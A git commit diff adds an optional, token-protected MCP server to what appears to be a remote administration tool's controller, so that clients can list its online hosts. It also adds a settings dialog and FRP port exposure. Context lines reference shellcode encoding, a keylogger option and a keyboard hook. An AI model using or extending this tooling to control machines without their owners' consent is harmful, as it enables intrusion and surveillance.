Feature: Add MCP (Model Context Protocol) server integration

Add an optional MCP server (JSON-RPC 2.0 over Streamable HTTP) exposing
an online-host listing tool, protected by a Bearer token. Disabled by
default; configured via a new "Extensions > MCP Settings" dialog.

- McpServer: httplib + JSON-RPC 2.0 dispatch (initialize/ping/tools/list/tools/call)
- McpSettingsDlg: runtime-created dialog for enable/port/bind/token
- HostJson: extract single-host JSON serialization shared with WebService
- FRP: expose MCP port (union with listening/Web ports) when bound to 0.0.0.0
- i18n: en_US / zh_TW translations

Co-Authored-By: deepseek-v4-pro
This commit is contained in:
yuanyuanxiang
2026-08-16 13:58:36 +02:00
parent 43398e405e
commit 13052b7cae
17 changed files with 1313 additions and 95 deletions

View File

@@ -43,6 +43,8 @@
#include <sstream>
#include "common/skCrypter.h"
#include "common/commands.h"
#include "McpServer.h"
#include "McpSettingsDlg.h"
#include "common/md5.h"
#include <algorithm>
#include <set>
@@ -976,6 +978,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -1217,13 +1220,63 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
pExtMenu->DeleteMenu(ID_BACKUP_DATA, MF_BYCOMMAND);
if (SHOULD_HIDE_MENU(HIDE_MENU_IMPORT_DATA, MF_IMPORT_DATA))
pExtMenu->DeleteMenu(ID_IMPORT_DATA, MF_BYCOMMAND);
if (SHOULD_HIDE_MENU(HIDE_MENU_RELOAD_PLUGINS, MF_RELOAD_PLUGINS))
pExtMenu->DeleteMenu(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND);
if (SHOULD_HIDE_MENU(HIDE_MENU_PLUGIN_REQUEST, MF_PLUGIN_REQUEST))
pExtMenu->DeleteMenu(ID_PLUGIN_REQUEST, MF_BYCOMMAND);
if (SHOULD_HIDE_MENU(HIDE_MENU_FRPS_FOR_SUB, MF_FRPS_FOR_SUB))
pExtMenu->DeleteMenu(ID_FRPS_FOR_SUB, MF_BYCOMMAND);
// 动态插入「MCP设置」菜单项2015Remote.rc 为 UTF-16 不便编辑,改运行时插入,
// 位于「地理信息」之后、「插件设置」之前,见 docs/Mcp_Design.md §3.8.1
if (!SHOULD_HIDE_MENU(HIDE_MENU_MCP_SETTINGS, MF_MCP_SETTINGS)) {
UINT mcpFlags = MF_BYCOMMAND;
if (THIS_CFG.GetInt("settings", "McpEnabled", 0)) {
mcpFlags |= MF_CHECKED; // 已启用 MCP 则菜单打勾
}
pExtMenu->InsertMenu(ID_TOOL_PLUGIN_SETTINGS, mcpFlags,
ID_MCP_SETTINGS, _TR("MCP设置(&M)..."));
}
// 将 3 个插件相关菜单项收拢到「插件」二级菜单位于「MCP设置」之下、原「插件设置」之前
// 顺序不变:插件设置 / 刷新插件 / 获取插件)。
// 注意:先删除顶层项、再按位置插入子菜单,避免同一命令 ID 同时存在于子菜单与顶层时,
// MF_BYCOMMAND 的 DeleteMenu/InsertMenu 因重复 ID 而误删/误定位子菜单项。
{
// 记录「插件设置」的索引,作为「插件」子菜单的插入点
int pluginPos = -1;
for (UINT i = 0; i < pExtMenu->GetMenuItemCount(); i++) {
if (pExtMenu->GetMenuItemID(i) == ID_TOOL_PLUGIN_SETTINGS) {
pluginPos = (int)i;
break;
}
}
if (pluginPos >= 0) {
// 先删除 3 个顶层项
pExtMenu->DeleteMenu(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND);
pExtMenu->DeleteMenu(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND);
pExtMenu->DeleteMenu(ID_PLUGIN_REQUEST, MF_BYCOMMAND);
// 再创建「插件」子菜单
CMenu pluginMenu;
pluginMenu.CreatePopupMenu();
pluginMenu.AppendMenu(MF_STRING, ID_TOOL_PLUGIN_SETTINGS, _TR("插件设置(&S)"));
if (!SHOULD_HIDE_MENU(HIDE_MENU_RELOAD_PLUGINS, MF_RELOAD_PLUGINS))
pluginMenu.AppendMenu(MF_STRING, ID_TOOL_RELOAD_PLUGINS, _TR("刷新插件(&P)"));
if (!SHOULD_HIDE_MENU(HIDE_MENU_PLUGIN_REQUEST, MF_PLUGIN_REQUEST))
pluginMenu.AppendMenu(MF_STRING, ID_PLUGIN_REQUEST, _TR("获取插件(&P)"));
// 继承原 3 项的菜单图标(见上方 SetMenuItemBitmaps 区)
pluginMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[53], &m_bmOnline[53]);
if (!SHOULD_HIDE_MENU(HIDE_MENU_RELOAD_PLUGINS, MF_RELOAD_PLUGINS))
pluginMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
if (!SHOULD_HIDE_MENU(HIDE_MENU_PLUGIN_REQUEST, MF_PLUGIN_REQUEST))
pluginMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
// 插入到原「插件设置」位置MF_BYPOSITION
pExtMenu->InsertMenu((UINT)pluginPos, MF_BYPOSITION | MF_POPUP,
(UINT_PTR)pluginMenu.GetSafeHmenu(), _TR("插件(&P)"));
pluginMenu.Detach(); // HMENU 所有权转交 pExtMenu避免局部析构销毁子菜单
}
}
// --- 扩展菜单 - 语言设置子菜单 ---
CMenu* pLangMenu = FindSubMenuByCommand(pExtMenu, ID_CHANGE_LANG);
if (pLangMenu) {
@@ -2080,6 +2133,34 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
}
}
// Start MCP service默认禁用经「扩展 → MCP设置」开启后监听见 docs/Mcp_Design.md §3.7
if (THIS_CFG.GetInt("settings", "McpEnabled", 0)) {
auto mcpPort = THIS_CFG.GetInt("settings", "McpPort", 6544);
auto mcpBind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
// token 优先顺序env BRAND_MCP_ENV_VAR → THIS_CFG McpToken → 皆空则随机(仅本次进程有效)
const char* envTok = getenv(BRAND_MCP_ENV_VAR);
std::string mcpToken;
if (envTok && *envTok) {
mcpToken = envTok;
} else {
mcpToken = THIS_CFG.GetStr("settings", "McpToken", "");
}
if (mcpToken.empty()) {
mcpToken = GenerateRandomToken();
Mprintf("[McpServer] %s / McpToken 均未设置,本次进程随机 token%s\n",
BRAND_MCP_ENV_VAR, mcpToken.c_str());
}
McpServer().SetParentDlg(this);
McpServer().SetToken(mcpToken);
if (!McpServer().Start(mcpBind, mcpPort)) {
Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
} else {
Mprintf("McpServer started on %s:%d\n", mcpBind.c_str(), mcpPort);
}
}
UPDATE_SPLASH(18, "正在初始化文件上传模块...");
int ret = InitFileUpload({}, {}, GetHMAC(), 64, 50, Logf, GetUpperHash());
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
@@ -3185,6 +3266,12 @@ void CMy2015RemoteDlg::ApplyFrpSettings()
auto arr = StringToVector(ports, ';');
int fileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
// MCP 端口:仅当「启用 MCP 且绑定 0.0.0.0」时纳入 FRP 暴露(与监听/Web 取并集,不覆盖)。
int mcpEnabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);
std::string mcpBind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
int mcpPort = THIS_CFG.GetInt("settings", "McpPort", 6544);
bool exposeMcp = (mcpEnabled != 0) && (mcpBind == "0.0.0.0") && (mcpPort > 0);
// 为每个服务端生成独立配置文件 (index=0 用 frpc.ini 保持兼容)
for (size_t idx = 0; idx < servers.size(); ++idx) {
std::string path = (idx == 0) ? basePath : baseNoExt + "." + std::to_string(idx) + ".ini";
@@ -3214,6 +3301,14 @@ void CMy2015RemoteDlg::ApplyFrpSettings()
cfg.SetInt(name, "remote_port", fileServerPort);
cfg.SetStr(name, "proxy_protocol_version", "v2"); // 传递真实客户端 IP
}
if (exposeMcp) {
std::string name = BRAND_NET_PREFIX "-MCP-" + std::to_string(mcpPort);
cfg.SetStr(name, "type", "tcp");
cfg.SetInt(name, "local_port", mcpPort);
cfg.SetInt(name, "remote_port", mcpPort);
// 不设置 proxy_protocol_versionMCP 由 httplib 提供、不解析 Proxy Protocol
// 且 MCP 以 Bearer token 鉴权、无需透传真实 IP监听/Web 端口才需要 PP2
}
}
}
@@ -3805,6 +3900,12 @@ void CMy2015RemoteDlg::Release()
WebService().Stop();
}
// Stop MCP service
if (McpServer().IsRunning()) {
Mprintf("Stopping McpServer...\n");
McpServer().Stop();
}
UninitFileUpload();
DeletePopupWindow(TRUE);
CloseAllLoopTips(); // 关闭所有"播放快照"循环窗口
@@ -10756,6 +10857,16 @@ void CMy2015RemoteDlg::OnToolPluginSettings()
dlg.DoModal();
}
void CMy2015RemoteDlg::OnMcpSettings()
{
CMcpSettingsDlg dlg(this);
if (dlg.DoModal() != IDOK) return;
// 保存后重生成 frpc.ini若已启用 MCP 且绑定 0.0.0.0,则把 MCP 端口纳入 FRP 暴露列表
// (与监听/Web 端口取并集互不覆盖。MCP 生效仍需重启,此处仅为下次启动准备配置。
ApplyFrpSettings();
}
void CMy2015RemoteDlg::OnTriggerSettings()
{
if (m_DllList.empty()) {